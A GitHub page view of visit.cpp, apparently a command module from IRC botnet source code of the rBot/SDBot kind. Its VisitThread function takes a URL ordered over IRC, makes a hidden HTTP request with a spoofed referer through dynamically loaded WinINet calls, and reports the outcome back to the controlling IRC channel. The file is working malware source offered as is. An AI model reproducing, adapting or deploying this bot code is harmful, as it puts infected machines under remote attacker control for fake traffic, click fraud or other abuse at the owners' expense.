-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathvisit.cpp
79 lines (64 loc) · 2.28 KB
/
visit.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include "includes.h"
#include "functions.h"
#include "externs.h"
#ifndef NO_VISIT
DWORD WINAPI VisitThread(LPVOID param)
{
HINTERNET ch = 0, req = 0;
const char *accept = "*/*";
char vhost[128], vuser[128], vpass[128], vpath[256], sendbuf[IRCLINE];
VISIT visit = *((VISIT *)param);
VISIT *visits = (VISIT *)param;
visits->gotinfo = TRUE;
// zero out string varaiables
memset(vhost, 0, sizeof(vhost));
memset(vuser, 0, sizeof(vuser));
memset(vpass, 0, sizeof(vpass));
memset(vpath, 0, sizeof(vpath));
// zero out url structure and set options
URL_COMPONENTS url;
memset(&url, 0, sizeof(url));
url.dwStructSize = sizeof(url);
url.dwHostNameLength = 1;
url.dwUserNameLength = 1;
url.dwPasswordLength = 1;
url.dwUrlPathLength = 1;
do {
// crack the url (break it into its main parts)
if (!fInternetCrackUrl(visit.host, strlen(visit.host), 0, &url)) {
sprintf(sendbuf,"[VISIT]: Invalid URL.");
break;
}
// copy url parts into variables
if (url.dwHostNameLength > 0)
strncpy(vhost, url.lpszHostName, url.dwHostNameLength);
int vport = url.nPort;
if (url.dwUserNameLength > 0)
strncpy(vuser, url.lpszUserName, url.dwUserNameLength);
if (url.dwPasswordLength > 0)
strncpy(vpass, url.lpszPassword, url.dwPasswordLength);
if (url.dwUrlPathLength > 0)
strncpy(vpath, url.lpszUrlPath, url.dwUrlPathLength);
ch = fInternetConnect(ih, vhost,(unsigned short)vport, vuser, vpass, INTERNET_SERVICE_HTTP, 0, 0);
if (ch == NULL) {
sprintf(sendbuf,"[VISIT]: Could not open a connection.");
break;
}
req = fHttpOpenRequest(ch, NULL, vpath, NULL, visit.referer, &accept, INTERNET_FLAG_NO_UI, 0);
if (req == NULL) {
sprintf(sendbuf,"[VISIT]: Failed to connect to HTTP server.");
break;
}
if (fHttpSendRequest(req, NULL, 0, NULL, 0))
sprintf(sendbuf,"[VISIT]: URL visited.");
else
sprintf(sendbuf,"[VISIT]: Failed to get requested URL from HTTP server.");
} while(0); // always false, so this never loops, only helps make error handling easier
if (!visit.silent) irc_privmsg(visit.sock, visit.chan, sendbuf, visit.notice);
addlog(sendbuf);
fInternetCloseHandle(ch);
fInternetCloseHandle(req);
clearthread(visit.threadnum);
ExitThread(0);
}
#endif